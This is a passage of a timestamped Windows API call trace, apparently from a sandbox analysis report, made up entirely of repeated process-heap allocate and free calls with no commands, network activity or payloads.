[0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.261] GetProcessHeap () returned 0x540000 [0063.261] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.261] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.262] GetProcessHeap () returned 0x540000 [0063.262] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.263] GetProcessHeap () returned 0x540000 [0063.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.263] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.264] GetProcessHeap () returned 0x540000 [0063.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.264] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.265] GetProcessHeap () returned 0x540000 [0063.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.265] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.266] GetProcessHeap () returned 0x540000 [0063.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.267] GetProcessHeap () returned 0x540000 [0063.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.268] GetProcessHeap () returned 0x540000 [0063.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.269] GetProcessHeap () returned 0x540000 [0063.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: 